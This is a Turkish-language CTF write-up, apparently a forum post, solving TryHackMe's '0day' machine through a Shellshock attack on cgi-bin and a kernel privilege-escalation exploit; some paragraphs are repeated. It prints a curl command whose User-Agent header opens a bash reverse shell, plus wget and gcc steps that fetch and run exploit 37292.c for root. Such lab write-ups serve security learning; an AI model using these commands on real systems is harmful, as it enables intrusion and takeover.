TryHackMe | 0day CTF WriteUp by w1sd0m
* 0day *
Selam dostlarım, bu gün sizlere TryHackMe'de yer alan "0day" adlı zafiyetli makinenin çözümünü anlatacağım.
Makine pentest dünyasında tanın "Ryan M. Montgomery" kardeşimize ait.
CTF; cgi-bin,shellshock konularına değiniyor, o yüzden göstermek istedim.
Keyifli okumalar dilerim.
Platform:TryHackMe
Title:0day
Difficulty:Medium
Point:60
CreatedBy:0day
|
|
v
Öncelikle port taraması ile başlayalım.* 0day *
Selam dostlarım, bu gün sizlere TryHackMe'de yer alan "0day" adlı zafiyetli makinenin çözümünü anlatacağım.
Makine pentest dünyasında tanın "Ryan M. Montgomery" kardeşimize ait.
CTF; cgi-bin,shellshock konularına değiniyor, o yüzden göstermek istedim.
Keyifli okumalar dilerim.
Platform:TryHackMe
Title:0day
Difficulty:Medium
Point:60
CreatedBy:0day
|
|
v
nmap -sC -sV -vv 10.10.7.213
22 ve 80 portlarının açık olduğunu görüyorum. Web sayfasını ziyaret edelim bakalım neler bulacağız...
Güzel bi tasarım yapmış bizi bekliyor abimiz.
Linklere baktım, kaynak kodlarına baktım ancak ilginç birşey göremedim.
Dizin taraması yapalım bakalım, gözden uzak birşey varmı?
gobuster dir -u 10.10.7.213 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -x cgi,sh,html,php,log -u 10.10.7.213/cgi-bin/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
Siz sormadan ben söyleyeyim; "/admin,/uploads,/secret" dizinlerinde işe yarar birşey yok
"cgi-bin" nedir,ne işe yarar gibi bir konuya girmeyeceğim ancak girişte de bahsettiğim gibi, ctf konusu cgi olduğu için bunun üstünden olayların gelişeceğini tahmin edebilirsiniz.
Dizine istekte bulunuyorum ancak işime yarar bir şey bulamıyorum. Bende bu cgi-bin'i nasıl exploit ederim diye bir arama yapıyorum.
CTF'lerde çokça kullanılan "hacktricks" kitabında ki şu yazıyı cgi-bin/curl açtım.
Devam edelim...
Kodu da bırakayım şuraya;
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/{senin_ip}/{belirlediğin_port} 0>&1' http://{makine_ip}/cgi-bin/test.cgi
Şimdi, içerde olduğumuza göre önce "user.txt" bulma işlemini sonra da yetki yükselterek "root.txt" bulma işlemini yapalım.
İlk flag bulundu. Şimdi yetki yükseltmede sıra.
Yeri gelmişken birşey söylemek istiyorum; ctf'lerde kolay oluyor diye otomatize scriptler indirmek işimize gelsede, bazen aslında basit bir işlem ile root olabilecekken süreyi uzatmış olabiliyoruz. Ben mümkün mertebe manuel çalışmayı öneriyorum. Bence eğlencesi de burada...
Devam edelim...
Burada kernel bilgisine bakarak, herhangi bir exploiti varmı diye arama yapıyorum. "37292.c" dosyası bilinen bir dosya aslında ve bize root kapısını açacak olan da yine o
Dosyayı masaüstüne kopyalayıp masaüstümü paylaşıma açıyorum.
python3 -m http.server 8000
Ardından kurban makinesinde bu dosyayı "/tmp" klasörüne çekiyorum.
Kod:
www-data@ubuntu:/tmp$ wget http://10.9.2.11:8000/37292.c
wget http://10.9.2.11:8000/37292.c
--2022-03-06 08:42:51-- http://10.9.2.11:8000/37292.c
Connecting to 10.9.2.11:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4968 (4.9K) [text/x-csrc]
Saving to: '37292.c'
100%[======================================>] 4,968 --.-K/s in 0.007s
2022-03-06 08:42:51 (723 KB/s) - '37292.c' saved [4968/4968]
www-data@ubuntu:/tmp$
Ardından "gcc" ile derleyip çalıştırmak istiyorum ancak şöyle bir hata ile karşılaşıyorum.
Bu hatanın çözümünü web de aradım ve tek satırda işi bitirecek bir çözüm buldum.
Kod:
gcc 37292.c -o exploit && ./exploit
gcc: error trying to exec 'cc1': execvp: No such file or directory
export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
gcc 37292.c -o exploit && ./exploit
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
sh: 0: can't access tty; job control turned off
#
Ve işte zafer...
^
|
|
Bir CTF'in daha sonuna geldik. Sabredip okuduğunuz için teşekkür ederim. Sadece konu açmak için değil de birşeyler göstermek,farklı bir yol, bir düşünce, bir taktik öğretmek için bunları yazıyorum. Farketmişsinizdir, sadece CTF bölümüne konu açıyorum ve makine seçerken forumda olmayan, birden fazla çözümü olan ve eğlenceli makineler seçmeye dikkat ediyorum.
Umarım birilerine CTF çözmeyi sevdirebilirim.
Teşekkürler.
|
|
v
|
|
Bir CTF'in daha sonuna geldik. Sabredip okuduğunuz için teşekkür ederim. Sadece konu açmak için değil de birşeyler göstermek,farklı bir yol, bir düşünce, bir taktik öğretmek için bunları yazıyorum. Farketmişsinizdir, sadece CTF bölümüne konu açıyorum ve makine seçerken forumda olmayan, birden fazla çözümü olan ve eğlenceli makineler seçmeye dikkat ediyorum.
Umarım birilerine CTF çözmeyi sevdirebilirim.
Teşekkürler.
|
|
v
^
|
|
|
|